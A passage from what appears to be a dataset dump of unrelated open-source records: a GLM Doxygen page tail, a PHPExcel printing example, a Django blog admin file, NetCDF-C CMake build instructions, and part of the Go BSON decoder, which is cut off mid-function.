id=\"gad7afff30d7323fdc7aed7f5a16a0c596\"></a>\n<div class=\"memitem\">\n<div class=\"memproto\">\n <table class=\"memname\">\n <tr>\n <td class=\"memname\">GLM_FUNC_DECL tvec3&lt;T, P&gt; glm::orthonormalize </td>\n <td>(</td>\n <td class=\"paramtype\">tvec3&lt; T, P &gt; const &amp;&#160;</td>\n <td class=\"paramname\"><em>x</em>, </td>\n </tr>\n <tr>\n <td class=\"paramkey\"></td>\n <td></td>\n <td class=\"paramtype\">tvec3&lt; T, P &gt; const &amp;&#160;</td>\n <td class=\"paramname\"><em>y</em>&#160;</td>\n </tr>\n <tr>\n <td></td>\n <td>)</td>\n <td></td><td></td>\n </tr>\n </table>\n</div><div class=\"memdoc\">\n\n<p>Orthonormalizes x according y. </p>\n<dl class=\"section see\"><dt>See also</dt><dd><a class=\"el\" href=\"a00216.html\" title=\"Orthonormalize matrices. \">GLM_GTX_orthonormalize</a> </dd></dl>\n\n</div>\n</div>\n</div><!-- contents -->\n<!-- start footer part -->\n<hr class=\"footer\"/><address class=\"footer\"><small>\nGenerated by &#160;<a href=\"http://www.doxygen.org/index.html\">\n<img class=\"footer\" src=\"doxygen.png\" alt=\"doxygen\"/>\n</a> 1.8.10\n</small></address>\n</body>\n</html>\n"} {"text": "<?php\n/**\n * PHPExcel\n *\n * Copyright (C) 2006 - 2014 PHPExcel\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\n * @category PHPExcel\n * @package PHPExcel\n * @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel)\n * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt\tLGPL\n * @version ##VERSION##, ##DATE##\n */\n\n/** Error reporting */\nerror_reporting(E_ALL);\nini_set('display_errors', TRUE);\nini_set('display_startup_errors', TRUE);\n\ndefine('EOL',(PHP_SAPI == 'cli') ? PHP_EOL : '<br />');\n\ndate_default_timezone_set('Europe/London');\n\n/** Include PHPExcel */\nrequire_once dirname(__FILE__) . '/../Classes/PHPExcel.php';\n\n\n// Create new PHPExcel object\necho date('H:i:s') , \" Create new PHPExcel object\" , EOL;\n$objPHPExcel = new PHPExcel();\n\n// Set document properties\necho date('H:i:s') , \" Set document properties\" , EOL;\n$objPHPExcel->getProperties()->setCreator(\"Maarten Balliauw\")\n\t\t\t\t\t\t\t ->setLastModifiedBy(\"Maarten Balliauw\")\n\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t ->setDescription(\"Test document for Office 2007 XLSX, generated using PHP classes.\")\n\t\t\t\t\t\t\t ->setKeywords(\"office 2007 openxml php\")\n\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\n\n// Add some data, we will use printing features\necho date('H:i:s') , \" Add some data\" , EOL;\nfor ($i = 1; $i < 200; $i++) {\n\t$objPHPExcel->getActiveSheet()->setCellValue('A' . $i, $i);\n\t$objPHPExcel->getActiveSheet()->setCellValue('B' . $i, 'Test value');\n}\n\n// Set header and footer. When no different headers for odd/even are used, odd header is assumed.\necho date('H:i:s') , \" Set header/footer\" , EOL;\n$objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n$objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\n// Add a drawing to the header\necho date('H:i:s') , \" Add a drawing to the header\" , EOL;\n$objDrawing = new PHPExcel_Worksheet_HeaderFooterDrawing();\n$objDrawing->setName('PHPExcel logo');\n$objDrawing->setPath('./images/phpexcel_logo.gif');\n$objDrawing->setHeight(36);\n$objPHPExcel->getActiveSheet()->getHeaderFooter()->addImage($objDrawing, PHPExcel_Worksheet_HeaderFooter::IMAGE_HEADER_LEFT);\n\n// Set page orientation and size\necho date('H:i:s') , \" Set page orientation and size\" , EOL;\n$objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n$objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\n// Rename worksheet\necho date('H:i:s') , \" Rename worksheet\" , EOL;\n$objPHPExcel->getActiveSheet()->setTitle('Printing');\n\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$objPHPExcel->setActiveSheetIndex(0);\n\n\n// Save Excel 2007 file\necho date('H:i:s') , \" Write to Excel2007 format\" , EOL;\n$callStartTime = microtime(true);\n\n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n$objWriter->save(str_replace('.php', '.xlsx', __FILE__));\n$callEndTime = microtime(true);\n$callTime = $callEndTime - $callStartTime;\n\necho date('H:i:s') , \" File written to \" , str_replace('.php', '.xlsx', pathinfo(__FILE__, PATHINFO_BASENAME)) , EOL;\necho 'Call time to write Workbook was ' , sprintf('%.4f',$callTime) , \" seconds\" , EOL;\n// Echo memory usage\necho date('H:i:s') , ' Current memory usage: ' , (memory_get_usage(true) / 1024 / 1024) , \" MB\" , EOL;\n\n\n// Save Excel 95 file\necho date('H:i:s') , \" Write to Excel5 format\" , EOL;\n$callStartTime = microtime(true);\n\n$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n$objWriter->save(str_replace('.php', '.xls', __FILE__));\n$callEndTime = microtime(true);\n$callTime = $callEndTime - $callStartTime;\n\necho date('H:i:s') , \" File written to \" , str_replace('.php', '.xls', pathinfo(__FILE__, PATHINFO_BASENAME)) , EOL;\necho 'Call time to write Workbook was ' , sprintf('%.4f',$callTime) , \" seconds\" , EOL;\n// Echo memory usage\necho date('H:i:s') , ' Current memory usage: ' , (memory_get_usage(true) / 1024 / 1024) , \" MB\" , EOL;\n\n\n// Echo memory peak usage\necho date('H:i:s') , \" Peak memory usage: \" , (memory_get_peak_usage(true) / 1024 / 1024) , \" MB\" , EOL;\n\n// Echo done\necho date('H:i:s') , \" Done writing files\" , EOL;\necho 'Files have been created in ' , getcwd() , EOL;\n"} {"text": "from django.contrib import admin\nfrom basic.blog.models import *\n\n\nclass CategoryAdmin(admin.ModelAdmin):\n prepopulated_fields = {'slug': ('title',)}\nadmin.site.register(Category, CategoryAdmin)\n\nclass PostAdmin(admin.ModelAdmin):\n list_display = ('title', 'publish', 'status')\n list_filter = ('publish', 'categories', 'status')\n search_fields = ('title', 'body')\n prepopulated_fields = {'slug': ('title',)}\nadmin.site.register(Post, PostAdmin)\n\n\nclass BlogRollAdmin(admin.ModelAdmin):\n list_display = ('name', 'url', 'sort_order',)\n list_editable = ('sort_order',)\nadmin.site.register(BlogRoll)"} {"text": "Build Instructions for NetCDF-C using CMake {#netCDF-CMake}\n===========================================\n\n[TOC]\n\n# Overview {#cmake_overview}\n\nStarting with netCDF-C 4.3.0, we are happy to announce the inclusion of CMake support. CMake will allow for building netCDF on a wider range of platforms, include Microsoft Windows with Visual Studio. CMake support also provides robust unit and regression testing tools. We will also maintain the standard autotools-based build system in parallel.\n\nIn addition to providing new build options for netCDF-C, we will also provide pre-built binary downloads for the shared versions of netCDF for use with Visual Studio. \n\n\t\t\n# Requirements {#cmake_requirements}\nThe following packages are required to build netCDF-C using CMake.\n\n* netCDF-C Source Code\n* CMake version 2.8.12 or greater.\n* Optional Requirements:\n\t* HDF5 Libraries for netCDF4/HDF5 support.\n\t* libcurl for DAP support.\n\n<center>\n<img src=\"deptree.jpg\" height=\"250px\" />\n</center>\n\n# The CMake Build Process {#cmake_build}\n\nThere are four steps in the Build Process when using CMake\n\n1. Configuration: Before compiling, the software is configured based on the desired options.\n2. Building: Once configuration is complete, the libraries are compiled.\n3. Testing: Post-build, it is possible to run tests to ensure the functionality of the netCDF-C libraries.\n4. Installation: If all tests pass, the libraries can be installed in the location specified during configuration.\n\nFor users who prefer pre-built binaries, installation packages are available at \\ref winbin\n\n## Configuration {#cmake_configuration}\n\nThe output of the configuration step is a project file based on the appropriate configurator specified. Common configurators include:\n\n* Unix Makefiles\n* Visual Studio\n* CodeBlocks\n* ... and others\n\n### Common CMake Options {#cmake_common_options}\n\n| **Option** | **Autotools** | **CMake** |\n| :------- | :---- | :----- |\nSpecify Install Location | --prefix=PREFIX | -D\"CMAKE\\_INSTALL\\_PREFIX=PREFIX\"\nEnable/Disable netCDF-4 | --enable-netcdf-4<br>--disable-netcdf-4 | -D\"ENABLE\\_NETCDF\\_4=ON\" <br> -D\"ENABLE\\_NETCDF\\_4=OFF\"\nEnable/Disable DAP | --enable-dap <br> --disable-dap | -D\"ENABLE\\_DAP=ON\" <br> -D\"ENABLE\\_DAP=OFF\"\nEnable/Disable Utilities | --enable-utilities <br> --disable-utilities | -D\"BUILD\\_UTILITIES=ON\" <br> -D\"BUILD\\_UTILITIES=OFF\"\nSpecify shared/Static Libraries | --enable-shared <br> --enable-static | -D\"BUILD\\_SHARED\\_LIBS=ON\" <br> -D\"BUILD\\_SHARED\\_LIBS=OFF\"\nEnable/Disable Tests | --enable-testsets <br> --disable-testsets | -D\"ENABLE\\_TESTS=ON\" <br> -D\"ENABLE\\_TESTS=OFF\"\nSpecify a custom library location | Use *CFLAGS* and *LDFLAGS* | -D\"CMAKE\\_PREFIX\\_PATH=/usr/custom_libs/\"\n\nA full list of *basic* options can be found by invoking `cmake [Source Directory] -L`. To enable a list of *basic* and *advanced* options, one would invoke `cmake [Source Directory] -LA`.\n\n### Configuring your build from the command line. {#cmake_command_line}\n\nThe easiest configuration case would be one in which all of the dependent libraries are installed on the system path (in either Unix/Linux or Windows) and all the default options are desired. From the build directory (often, but not required to be located within the source directory):\n\n> $ cmake [Source Directory]\n\nIf you have libraries installed in a custom directory, you may need to specify the **CMAKE\\_PREFIX_PATH** variable to tell cmake where the libraries are installed. For example:\n\n> $ cmake [Source Directory] -DCMAKE\\_PREFIX\\_PATH=/usr/custom_libraries/\n\n## Building {#cmake_building}\n\nThe compiler can be executed directly with 'make' or the appropriate command for the configurator which was used. \n\n> $ make\n\nBuilding can also be executed indirectly via cmake:\n\n> $ cmake --build [Build Directory]\n\n## Testing {#cmake_testing}\n\nTesting can be executed several different ways:\n\n> $ make test\n\nor\n\n> $ ctest\n\nor\n\n> $ cmake --build [Build Directory] --target test\n\n## Installation {#cmake_installation}\n\nOnce netCDF has been built and tested, it may be installed using the following commands:\n\n> $ make install\n\nor \n\n> $ cmake --build [Build Directory] --target install\n\n# See Also {#cmake_see_also}\n\nFor further information regarding NetCDF and CMake, see \\ref cmake_faq\n"} {"text": "// BSON library for Go\n//\n// Copyright (c) 2010-2012 - Gustavo Niemeyer <gustavo@niemeyer.net>\n//\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this\n// list of conditions and the following disclaimer.\n// 2. Redistributions in binary form must reproduce the above copyright notice,\n// this list of conditions and the following disclaimer in the documentation\n// and/or other materials provided with the distribution.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n// ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n// gobson - BSON library for Go.\n\npackage bson\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"net/url\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"sync\"\n\t\"time\"\n)\n\ntype decoder struct {\n\tin []byte\n\ti int\n\tdocType reflect.Type\n}\n\nvar typeM = reflect.TypeOf(M{})\n\nfunc newDecoder(in []byte) *decoder {\n\treturn &decoder{in, 0, typeM}\n}\n\n// --------------------------------------------------------------------------\n// Some helper functions.\n\nfunc corrupted() {\n\tpanic(\"Document is corrupted\")\n}\n\nfunc settableValueOf(i interface{}) reflect.Value {\n\tv := reflect.ValueOf(i)\n\tsv := reflect.New(v.Type()).Elem()\n\tsv.Set(v)\n\treturn sv\n}\n\n// --------------------------------------------------------------------------\n// Unmarshaling of documents.\n\nconst (\n\tsetterUnknown = iota\n\tsetterNone\n\tsetterType\n\tsetterAddr\n)\n\nvar setterStyles map[reflect.Type]int\nvar setterIface reflect.Type\nvar setterMutex sync.RWMutex\n\nfunc init() {\n\tvar iface Setter\n\tsetterIface = reflect.TypeOf(&iface).Elem()\n\tsetterStyles = make(map[reflect.Type]int)\n}\n\nfunc setterStyle(outt reflect.Type) int {\n\tsetterMutex.RLock()\n\tstyle := setterStyles[outt]\n\tsetterMutex.RUnlock()\n\tif style == setterUnknown {\n\t\tsetterMutex.Lock()\n\t\tdefer setterMutex.Unlock()\n\t\tif outt.Implements(setterIface) {\n\t\t\tsetterStyles[outt] = setterType\n\t\t} else if reflect.PtrTo(outt).Implements(setterIface) {\n\t\t\tsetterStyles[outt] = setterAddr\n\t\t} else {\n\t\t\tsetterStyles[outt] = setterNone\n\t\t}\n\t\tstyle = setterStyles[outt]\n\t}\n\treturn style\n}\n\nfunc getSetter(outt reflect.Type, out reflect.Value) Setter {\n\tstyle := setterStyle(outt)\n\tif style == setterNone {\n\t\treturn nil\n\t}\n\tif style == setterAddr {\n\t\tif !out.CanAddr() {\n\t\t\treturn nil\n\t\t}\n\t\tout = out.Addr()\n\t} else if outt.Kind() == reflect.Ptr && out.IsNil() {\n\t\tout.Set(reflect.New(outt.Elem()))\n\t}\n\treturn out.Interface().(Setter)\n}\n\nfunc clearMap(m reflect.Value) {\n\tvar none reflect.Value\n\tfor _, k := range m.MapKeys() {\n\t\tm.SetMapIndex(k, none)\n\t}\n}\n\nfunc (d *decoder) readDocTo(out reflect.Value) {\n\tvar elemType reflect.Type\n\toutt := out.Type()\n\toutk := outt.Kind()\n\n\tfor {\n\t\tif outk == reflect.Ptr && out.IsNil() {\n\t\t\tout.Set(reflect.New(outt.Elem()))\n\t\t}\n\t\tif setter := getSetter(outt, out); setter != nil {\n\t\t\tvar raw Raw\n\t\t\td.readDocTo(reflect.ValueOf(&raw))\n\t\t\terr := setter.SetBSON(raw)\n\t\t\tif _, ok := err.(*TypeError); err != nil && !ok {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tif outk == reflect.Ptr {\n\t\t\tout = out.Elem()\n\t\t\toutt = out.Type()\n\t\t\toutk = out.Kind()\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\n\tvar fieldsMap map[string]fieldInfo\n\tvar inlineMap reflect.Value\n\tstart := d.i\n\n\torigout := out\n\tif outk == reflect.Interface {\n\t\tif d.docType.Kind() == reflect.Map {\n\t\t\tmv := reflect.MakeMap(d.docType)\n\t\t\tout.Set(mv)\n\t\t\tout = mv\n\t\t} else {\n\t\t\tdv := reflect.New(d.docType).Elem()\n\t\t\tout.Set(dv)\n\t\t\tout = dv\n\t\t}\n\t\toutt = out.Type()\n\t\toutk = outt.Kind()\n\t}\n\n\tdocType := d.docType\n\tkeyType := typeString\n\tconvertKey := false\n\tswitch outk {\n\tcase reflect.Map:\n\t\tkeyType = outt.Key()\n\t\tif keyType.Kind() != reflect.String {\n\t\t\tpanic(\"BSON map must have string keys. Got: \" + outt.String())\n\t\t}\n\t\tif keyType != typeString {\n\t\t\tconvertKey = true\n\t\t}\n\t\telemType = outt.Elem()\n\t\tif elemType == typeIface {\n\t\t\td.docType = outt\n\t\t}\n\t\tif out.IsNil() {\n\t\t\tout.Set(reflect.MakeMap(out.Type()))\n\t\t} else if out.Len() > 0 {\n\t\t\tclearMap(out)\n\t\t}\n\tcase reflect.Struct:\n\t\tif outt != typeRaw {\n\t\t\tsinfo, err := getStructInfo(out.Type())\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tfieldsMap = sinfo.FieldsMap\n\t\t\tout.Set(sinfo.Zero)\n\t\t\tif sinfo.InlineMap != -1 {\n\t\t\t\tinlineMap = out.Field(sinfo.InlineMap)\n\t\t\t\tif !inlineMap.IsNil() && inlineMap.Len() > 0 {\n\t\t\t\t\tclearMap(inlineMap)\n\t\t\t\t}\n\t\t\t\telemType = inlineMap.Type().Elem()\n\t\t\t\tif elemType == typeIface {\n\t\t\t\t\td.docType = inlineMap.Type()\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tcase reflect.Slice:\n\t\tswitch outt.Elem() {\n\t\tcase typeDocElem:\n\t\t\torigout.Set(d.readDocElems(outt))\n\t\t\treturn\n\t\tcase typeRawDocElem:\n\t\t\torigout.Set(d.readRawDocElems(outt))\n\t\t\treturn\n\t\t}\n\t\tfallthrough\n\tdefault:\n\t\tpanic(\"Unsupported document type for unmarshalling: \" + out.Type().String())\n\t}\n\n\tend := int(d.readInt32())\n\tend += d.i - 4\n\tif end <= d.i || end > len(d.in) || d.in[end-1] != '\\x00' {\n\t\tcorrupted()\n\t}\n\tfor d.in[d.i] != '\\x00' {\n\t\tkind := d.readByte()\n\t\tname := d.readCStr()\n\t\tif d.i >= end {\n\t\t\tcorrupted()\n\t\t}\n\n\t\tswitch outk {\n\t\tcase reflect.Map:\n\t\t\te := reflect.New(elemType).Elem()\n\t\t\tif d.readElemTo(e, kind) {\n\t\t\t\tk := reflect.ValueOf(name)\n\t\t\t\tif convertKey {\n\t\t\t\t\tk = k.Convert(keyType)\n\t\t\t\t}\n\t\t\t\tout.SetMapIndex(k, e)\n\t\t\t}\n\t\tcase reflect.Struct:\n\t\t\tif outt == typeRaw {\n\t\t\t\td.dropElem(kind)\n\t\t\t} else {\n\t\t\t\tif info, ok := fieldsMap[name]; ok {\n\t\t\t\t\tif info.Inline == nil {\n\t\t\t\t\t\td.readElemTo(out.Field(info.Num), kind)\n\t\t\t\t\t} else {\n\t\t\t\t\t\td.readElemTo(out.FieldByIndex(info.Inline), kind)\n\t\t\t\t\t}\n\t\t\t\t} else if inlineMap.IsValid() {\n\t\t\t\t\tif inlineMap.IsNil() {\n\t\t\t\t\t\tinlineMap.Set(reflect.MakeMap(inlineMap.Type()))\n\t\t\t\t\t}\n\t\t\t\t\te := reflect.New(elemType).Elem()\n\t\t\t\t\tif d.readElemTo(e, kind) {\n\t\t\t\t\t\tinlineMap.SetMapIndex(reflect.ValueOf(name), e)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\td.dropElem(kind)\n\t\t\t\t}\n\t\t\t}\n\t\tcase reflect.Slice:\n\t\t}\n\n\t\tif d.i >= end {\n\t\t\tcorrupted()\n\t\t}\n\t}\n\td.i++ // '\\x00'\n\tif d.i != end {\n\t\tcorrupted()\n\t}\n\td.docType = docType\n\n\tif outt == typeRaw {\n\t\tout.Set(reflect.ValueOf(Raw{0x03, d.in[start:d.i]}))\n\t}\n}\n\nfunc (d *decoder) readArrayDocTo(out reflect.Value) {\n\tend := int(d.readInt32())\n\tend += d.i - 4\n\tif end <= d.i || end > len(d.in) || d.in[end-1] != '\\x00' {\n\t\tcorrupted()\n\t}\n\ti := 0\n\tl := out.Len()\n\tfor d.in[d.i] != '\\x00' {\n\t\tif i >= l {\n\t\t\tpanic(\"Length mismatch on array field\")\n\t\t}\n\t\tkind := d.readByte()\n\t\tfor d.i < end && d.in[d.i] != '\\x00' {\n\t\t\td.i++\n\t\t}\n\t\tif d.i >= end {\n\t\t\tcorrupted()\n\t\t}\n\t\td.i++\n\t\td.readElemTo(out.Index(i), kind)\n\t\tif d.i >= end {\n\t\t\tcorrupted()\n\t\t}\n\t\ti++\n\t}\n\tif i != l {\n\t\tpanic(\"Length mismatch on array field\")\n\t}\n\td.i++ // '\\x00'\n\tif d.i != end {\n\t\tcorrupted()\n\t}\n}\n\nfunc (d *decoder) readSliceDoc(t reflect.Type) interface{} {\n\ttmp := make([]reflect.Value, 0, 8)\n\telemType := t.Elem()\n\tif elemType == typeRawDocElem {\n\t\td.dropElem(0x04)\n\t\treturn reflect.Zero(t).Interface()\n\t}\n\n\tend := int(d.readInt32())\n\tend += d.i - 4\n\tif end <= d.i || end > len(d.in) || d.in[end-1] != '\\x00' {\n\t\tcorrupted()\n\t}\n\tfor d.in[d.i] != '\\x00' {\n\t\tkind := d.readByte()\n\t\tfor d.i < end && d.in[d.i] != '\\x00' {\n\t\t\td.i++\n\t\t}\n\t\tif d.i >= end {\n\t\t\tcorrupted()\n\t\t}\n\t\td.i++\n\t\te := reflect.New(elemType).Elem()\n\t\tif d.readElemTo(e, kind) {\n\t\t\ttmp = append(tmp, e)\n\t\t}\n\t\tif d.i >= end {\n\t\t\tcorrupted()\n\t\t}\n\t}\n\td.i++ // '\\x00'\n\tif d.i != end {\n\t\tcorrupted()\n\t}\n\n\tn := len(tmp)\n\tslice := reflect.MakeSlice(t, n, n)\n\tfor i := 0; i != n; i++ {\n\t\tslice.Index(i).Set(tmp[i])\n\t}\n\treturn slice.Interface()\n}\n\nvar typeSlice = reflect.TypeOf([]interface{}{})\nvar typeIface = typeSlice.Elem()\n\nfunc (d *decoder) readDocElems(typ reflect.Type) reflect.Value {\n\tdocType := d.docType\n\td.docType = typ\n\tslice := make([]DocElem, 0, 8)\n\td.readDocWith(func(kind byte, name string) {\n\t\te := DocElem{Name: name}\n\t\tv := reflect.ValueOf(&e.Value)\n\t\tif d.readElemTo(v.Elem(), kind) {\n\t\t\tslice = append(slice, e)\n\t\t}\n\t})\n\tslicev := reflect.New(typ).Elem()\n\tslicev.Set(reflect.ValueOf(slice))\n\td.docType = docType\n\treturn slicev\n}\n\nfunc (d *decoder) readRawDocElems(typ reflect.Type) reflect.Value {\n\tdocType := d.docType\n\td.docType = typ\n\tslice := make([]RawDocElem, 0, 8)\n\td.readDocWith(func(kind byte, name string) {\n\t\te := RawDocElem{Name: name}\n\t\tv := reflect.ValueOf(&e.Value)\n\t\tif d.readElemTo(v.Elem(), kind) {\n\t\t\tslice = append(slice, e)\n\t\t}\n\t})\n\tslicev := reflect.New(typ).Elem()\n\tslicev.Set(reflect.ValueOf(slice))\n\td.docType = docType\n\treturn slicev\n}\n\nfunc (d *decoder) readDocWith(f func(kind byte, name string)) {\n\tend := int(d.readInt32())\n\tend += d.i - 4\n\tif end <= d.i || end > len(d.in) || d.in[end-1] != '\\x00' {\n\t\tcorrupted()\n\t}\n\tfor d.in[d.i] != '\\x00' {\n\t\tkind := d.readByte()\n\t\tname := d.readCStr()\n\t\tif d.i >= end {\n\t\t\tcorrupted()\n\t\t}\n\t\tf(kind, name)\n\t\tif d.i >= end {\n\t\t\tcorrupted()\n\t\t}\n\t}\n\td.i++ // '\\x00'\n\tif d.i != end {\n\t\tcorrupted()\n\t}\n}\n\n// --------------------------------------------------------------------------\n// Unmarshaling of individual elements within a document.\n\nvar blackHole = settableValueOf(struct{}{})\n\nfunc (d *decoder) dropElem(kind byte) {\n\td.readElemTo(blackHole, kind)\n}\n\n// Attempt to decode an element from the document and put it into out.\n// If the types are not compatible, the returned ok value will be\n// false and out will be unchanged.\nfunc (d *decoder) readElemTo(out reflect.Value, kind byte) (good bool) {\n\n\tstart := d.i\n\n\tif kind == 0x03 {\n\t\t// Delegate unmarshaling of documents.\n\t\toutt := out.Type()\n\t\toutk := out.Kind()\n\t\tswitch outk {\n\t\tcase reflect.Interface, reflect.Ptr, reflect.Struct, reflect.Map:\n\t\t\td.readDocTo(out)\n\t\t\treturn true\n\t\t}\n\t\tif setterStyle(outt) != setterNone {\n\t\t\td.readDocTo(out)\n\t\t\treturn true\n\t\t}\n\t\tif outk == reflect.Slice {\n\t\t\tswitch outt.Elem() {\n\t\t\tcase typeDocElem:\n\t\t\t\tout.Set(d.readDocElems(outt))\n\t\t\tcase typeRawDocElem:\n\t\t\t\tout.Set(d.readRawDocElems(outt))\n\t\t\tdefault:\n\t\t\t\td.readDocTo(blackHole)\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t\td.readDocTo(blackHole)\n\t\treturn true\n\t}\n\n\tvar in interface{}\n\n\tswitch kind {\n\tcase 0x01: // Float64\n\t\tin = d.readFloat64()\n\tcase 0x02: // UTF-8 string\n\t\tin = d.readStr()\n\tcase 0x03: // Document\n\t\tpanic(\"Can't happen. Handled above.\")\n\tcase 0x04: // Array\n\t\toutt := out.Type()\n\t\tif setterStyle(outt) != setterNone {\n\t\t\t// Skip the value so its data is handed to the setter below.\n\t\t\td.dropElem(kind)\n\t\t\tbreak\n\t\t}\n\t\tfor outt.Kind() == reflect.Ptr {\n\t\t\toutt = outt.Elem()\n\t\t}\n\t\tswitch outt.Kind() {\n\t\tcase reflect.Array:\n\t\t\td.readArrayDocTo(out)\n\t\t\treturn true\n\t\tcase reflect.Slice:\n\t\t\tin = d.readSliceDoc(outt)\n\t\tdefault:\n\t\t\tin = d.readSliceDoc(typeSlice)\n\t\t}\n\tcase 0x05: // Binary\n\t\tb := d.readBinary()\n\t\tif b.Kind == 0x00 || b.Kind == 0x02 {\n\t\t\tin = b.Data\n\t\t} else {\n\t\t\tin = b\n\t\t}\n\tcase 0x06: // Undefined (obsolete, but still seen in the wild)\n\t\tin = Undefined\n\tcase 0x07: // ObjectId\n\t\tin = ObjectId(d.readBytes(12))\n\tcase 0x08: // Bool\n\t\tin = d.readBool()\n\tcase 0x09: // Timestamp\n\t\t// MongoDB handles timestamps as milliseconds.\n\t\ti := d.readInt64()\n\t\tif i == -62135596800000 {\n\t\t\tin = time.Time{} // In UTC for convenience.\n\t\t} else {\n\t\t\tin = time.Unix(i/1e3, i%1e3*1e6)\n\t\t}\n\tcase 0x0A: // Nil\n\t\tin = nil\n\tcase 0x0B: // RegEx\n\t\tin = d.readRegEx()\n\tcase 0x0C:\n\t\tin = DBPointer{Namespace: d.readStr(), Id: ObjectId(d.readBytes(12))}\n\tcase 0x0D: // JavaScript without scope\n\t\tin = JavaScript{Code: d.readStr()}\n\tcase 0x0E: // Symbol\n\t\tin = Symbol(d.readStr())\n\tcase 0x0F: // JavaScript with scope\n\t\td.i += 4 // Skip length\n\t\tjs := JavaScript{d.readStr(), make(M)}\n\t\td.readDocTo(reflect.ValueOf(js.Scope))\n\t\tin = js\n\tcase 0x10: // Int32\n\t\tin = int(d.readInt32())\n\tcase 0x11: // Mongo-specific timestamp\n\t\tin = MongoTimestamp(d.readInt64())\n\tcase 0x12: // Int64\n\t\tin = d.readInt64()\n\tcase 0x13: // Decimal128\n\t\tin = Decimal128{\n\t\t\tl: uint64(d.readInt64()),\n\t\t\th: uint64(d.readInt64()),\n\t\t}\n\tcase 0x7F: // Max key\n\t\tin = MaxKey\n\tcase 0xFF: // Min key\n\t\tin = MinKey\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Unknown element kind (0x%02X)\", kind))\n\t}\n\n\toutt := out.Type()\n\n\tif outt == typeRaw {\n\t\tout.Set(reflect.ValueOf(Raw{kind, d.in[start:d.i]}))\n\t\treturn true\n\t}\n\n\tif setter := getSetter(outt, out); setter != nil {\n\t\terr := setter.SetBSON(Raw{kind, d.in[start:d.i]})\n\t\tif err == SetZero {\n\t\t\tout.Set(reflect.Zero(outt))\n\t\t\treturn true\n\t\t}\n\t\tif err == nil {\n\t\t\treturn true\n\t\t}\n\t\tif _, ok := err.(*TypeError); !ok {\n\t\t\tpanic(err)\n\t\t}\n\t\treturn false\n\t}\n\n\tif in == nil {\n\t\tout.Set(reflect.Zero(outt))\n\t\treturn true\n\t}\n\n\toutk := outt.Kind()\n\n\t// Dereference and initialize pointer if necessary.\n\tfirst := true\n\tfor outk == reflect.Ptr {\n\t\tif !out.IsNil() {\n\t\t\tout = out.Elem()\n\t\t} else {\n\t\t\telem := reflect.New(outt.Elem())\n\t\t\tif first {\n\t\t\t\t// Only set if value is compatible.\n\t\t\t\tfirst = false\n\t\t\t\tdefer func(out, elem reflect.Value) {\n\t\t\t\t\tif good {\n\t\t\t\t\t\tout.Set(elem)\n\t\t\t\t\t}\n\t\t\t\t}(out, elem)\n\t\t\t} else {\n\t\t\t\tout.Set(elem)\n\t\t\t}\n\t\t\tout = elem\n\t\t}\n\t\toutt = out.Type()\n\t\toutk = outt.Kind()\n\t}\n\n\tinv := reflect.ValueOf(in)\n\tif outt == inv.Type() {\n\t\tout.Set(inv)\n\t\treturn true\n\t}\n\n\tswitch outk {\n\tcase reflect.Interface:\n\t\tout.Set(inv)\n\t\treturn true\n\tcase reflect.String:\n\t\tswitch inv.Kind() 